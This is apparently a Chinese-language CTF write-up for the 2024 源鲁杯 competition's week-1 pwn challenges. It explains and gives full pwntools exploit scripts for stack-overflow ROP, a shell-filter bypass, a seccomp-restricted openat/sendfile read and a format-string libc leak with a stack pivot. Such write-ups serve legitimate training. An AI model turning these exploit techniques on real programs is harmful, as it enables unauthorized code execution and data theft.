2024 源鲁杯


pwn

week1

giaopwn

64位无脑栈溢出,通过vuln中的read函数像buf中写入大量数据,超出buf变量的长度导致rbp和返回地址被覆盖。

通过栈溢出漏洞劫持执行流,通过pop_rdicat flag字符串弹入rdi寄存器作为system参数,然后返回执行system函数。

加的ret指令是为了栈平衡。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/env python3
from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf

r()
pop_rdi=0x0000000000400743
ret=0x00000000004004fe
system=0x4006D2
cat_flag=0x601048
payload=b'\x00'*40+p64(pop_rdi)+p64(cat_flag)+p64(ret)+p64(system)
s(payload)

ia()

ezstack

main函数会返回到stack函数执行,stack函数中存在栈溢出。

发现vuln中存在system函数,并且将输入的内容作为system函数的参数执行。

但是对输入的内容做了过滤,如果内容中包含s、h、c、f 等字符则报错返回。

所以我们要拿到shell,必须输入一个不被过滤的字符。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/env python3
from pwncli import *
cli_script()


io: tube = gift.io
elf: ELF = gift.elf

off=56
#ret用于平栈
ret=0x000000000040101a
payload=b'\x00'*off+p64(ret)+p64(elf.sym.vuln)

sl(payload)
#$0也可以获取shell
sla("command\n",b"$0")

ia()

ezorw

沙箱题

禁止了read、write、open、readv、writev、execveat等系统调用。

常规的orw并不奏效,但是我们可以通过openat和sendfile来读取flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0b 0xc000003e if (A != ARCH_X86_64) goto 0013
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x08 0xffffffff if (A != 0xffffffff) goto 0013
0005: 0x15 0x07 0x00 0x00000000 if (A == read) goto 0013
0006: 0x15 0x06 0x00 0x00000001 if (A == write) goto 0013
0007: 0x15 0x05 0x00 0x00000002 if (A == open) goto 0013
0008: 0x15 0x04 0x00 0x00000013 if (A == readv) goto 0013
0009: 0x15 0x03 0x00 0x00000014 if (A == writev) goto 0013
0010: 0x15 0x02 0x00 0x00000142 if (A == execveat) goto 0013
0011: 0x15 0x01 0x00 0x0000024f if (A == 0x24f) goto 0013
0012: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0013: 0x06 0x00 0x00 0x00000000 return KILL

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/env python3
from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf

#通过openat系统调用打开flag文件,返回描述符3
#通过sendfile系统调用将文件描述符3对应的文件内容从偏移0开始发送到文件描述符1
shellcode=asm(shellcraft.openat(0,'/flag')+shellcraft.sendfile(1,3,0,0x100))
payload=asm(shellcode)
r()
sl(payload)

ia()

ezfmt

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/env python3
from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf
libc=ELF("./libc-2.31.so")

vuln=0x40120D
payload=b"%13$p%15$p".ljust(0x28,b"a")+p64(vuln)
s(payload)
ru("welcome to YLCTF\n")
base=int(r(14),16)
stack=int(r(14),16)

print("base:",hex(base))
print("stack:",hex(stack))

base=base-0x024083
stack=stack-0x000120
print(hex(base))
print(hex(stack))

pop_rdi=0x4012b3
system=base+libc.sym.system
sh=base+next(libc.search(b"/bin/sh\x00"))
leave_ret=0x401241

payload=p64(pop_rdi)+p64(sh)+p64(system)+p64(0)+p64(stack)+p64(leave_ret)

s(payload)

ia()

week2

week3

re

week1

week2

week3